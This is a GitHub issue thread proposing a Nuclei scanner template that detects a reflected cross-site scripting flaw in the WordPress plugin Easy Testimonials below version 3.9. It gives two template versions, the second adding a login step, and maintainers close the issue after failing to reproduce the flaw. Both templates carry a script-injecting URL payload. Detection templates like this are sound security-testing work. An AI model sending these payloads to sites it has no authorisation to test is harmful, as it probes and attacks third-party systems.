nuclei-templates
nuclei-templates copied to clipboard
Easy Testimonials < 3.9 - Reflected Cross-Site Scripting
id: easy-testimonials-xss
info:
name: Easy Testimonials < 3.9 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin, when used along the Pro version, does not escape an URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/571fc466-98c5-4f11-9ac3-0f826f3d9253
tags: wp-plugin,xss,wp,wordpress
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin.php?page=easy_testimonials_pro_privacy_notice&a"><script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
Hi @akincibor, Thank you for taking the time to create this issue and for contributing to this project 🍻
If possible can you please provide us with the -debug data as we tried setting up the vulnerable environment for this template but couldn't able to validate the template? Thanks
@princechaddha here is the updated template
id: easy-testimonials-xss
info:
name: Easy Testimonials < 3.9 - Reflected Cross-Site Scripting
author: Akincibor,daffainfo
severity: medium
description: The plugin, when used along the Pro version, does not escape an URL before outputting it back in an attribute, leading to Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/571fc466-98c5-4f11-9ac3-0f826f3d9253
tags: wp-plugin,xss,wp,wordpress
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=easy_testimonials_pro_privacy_notice&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
@akincibor
Kindly provide debug data, we couldn't replicate the issue on the vulnerable version
Hi, I'm closing this issue.